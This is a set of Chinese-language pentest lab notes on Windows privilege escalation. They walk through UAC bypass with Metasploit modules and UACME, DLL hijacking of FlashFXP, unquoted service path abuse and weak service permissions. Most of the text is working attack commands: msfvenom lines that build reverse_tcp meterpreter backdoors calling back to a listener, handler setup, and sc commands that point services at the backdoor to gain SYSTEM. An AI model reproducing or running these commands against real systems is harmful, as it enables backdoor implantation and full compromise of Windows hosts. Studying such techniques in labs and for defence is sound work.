UAC是一个账户访问控制,运行一些程序时,会提醒是否运行这个程序
环境:win10,win7 管理员用户组的用户
#生成木马
msfvenom -p windows/meterpreter/reverse_tcp lport=4444 lhost=192.168.85.129 -f exe -o 11.exe
开启监听
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
run
msf成功上线,可以使用msf的自动化提权
getsystem #会尝试一些基本提权方法进行提权,如令牌窃取,进程注入等
可以看到getsystem失败了,可以使用msf的模块进行绕过uac的检测
win7:
use exploit/windows/local/bypassuac
set session 1
getuid
getsystem
getuid
成功提权:
UAC设置有三个等级:低,中,高,默认为中
当设置为高级时:
exploit/windows/local/bypassuac不好用了,提权不了
use exploit/windows/local/ask #需要用户点击才可以
set session 1
run
getuid
getsystem
getuid
用户点击才可以提权
win10:
#这三个模块都可以win7不可用
use exploit/windows/local/ask
use exploit/windows/local/bypassuac_sluihijack
use exploit/windows/local/bypassuac_silentcleanup
#使用第二个模块
use exploit/windows/local/bypassuac_sluihijack
set session 1
run
getuid
getsystem
getuid
刚开始getsystem失败
msf共有十几个uac模块,灵活应用
bypassuac注意需要用户在管理员组,并且uac是开启状态,uac如果是关闭状态是可以直接getsystem进行提权的
工具:uacme
环境:win7
uac为默认,中等级,高等级需要点击才能够执行
uacme有70多种绕过方法,比较好用的几种41,23,61
Akagi64.exe #会弹出一个cmd窗口,权限高
Akagi64.exe 41 位置+111.exe #以高权限调用后门
Akagi64.exe 第几个方法 执行的东西
windows程序启动的时候需要dll,可以通过把后门写成dll文件覆盖原有的dll文件,等待管理员点击进行提权。dll文件的搜寻顺序
1、应用程序加载的目录
2、C:\Windows\System32
3、C:\Windows\System
4、C:\Windows
5、当前工作目录Current Working Directory,CWD
6、在PATH环境变量的目录(先系统后用户)
一般dll劫持的是在应用程序的加载目录,其他地方可能没有权限
环境:win2016 flashfxp(ftp)
1.信息搜集(应用程序调用的dll文件,一般是分析程序启动目录)
2.创建dll后门
3.上传并覆盖
4.等待应用执行
分析工具:
火绒剑,ChkDllHijack
火绒剑使用:
ChkDllHijack使用:
成功:
失败(不可dll劫持):
msf生成dll文件:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.85.129 lport=3344 -f dll -o 1.dll
开启监听
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lpor 3344
run
上传重命名覆盖,执行flashfxp,成功上线
当服务是没有引号又有空格是就会造成提权,系统会把空格前的当作exe程序,把后面的当作参数,可以生成一个和前面名字一样的后门exe,当服务启动时,会成功上线,如果是系统服务,那获得的就是system权限;当有引号担忧空格时,就会当作一个整体,没有安全问题
环境:win2016+macro_expert_enterprise-win服务
检测命令:
排除c盘的windows主要是因为没有权限
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """
检测工具:
ps脚本 jaws
msf生成和服务空格前一样的exe后门程序,放到对应启动的位置,放到C盘
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.85.129 lport=4444 -f exe -o Program.exe
开启监听
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
run
先关闭服务:
sc stop "Macro Expert"
后重启服务
sc start "Macro Expert"
成功上线:
对权限控制不到位,导致用户可以更改服务执行的程序
正常来说是改不了的
环境:win2016
检测工具:
jaws ps脚本
accesschk :
accesschk.exe -uwcqv "administrators" *
找可以改的service_all_access
创建一个服务:
sc create test start= auto binPath="C:\1.exe"
msf生成和服务空格前一样的exe后门程序,放到对应启动的位置,放到C盘
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.85.129 lport=4444 -f exe -o Program.exe
开启监听
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 0.0.0.0
run
更改服务程序路径,并启动服务
sc config "test" binpath="C:\Program.exe"
sc start test
成功上线并提权,这里很快就关闭了,可能是因为自己创建的服务,如果是系统的,应该就不会掉线了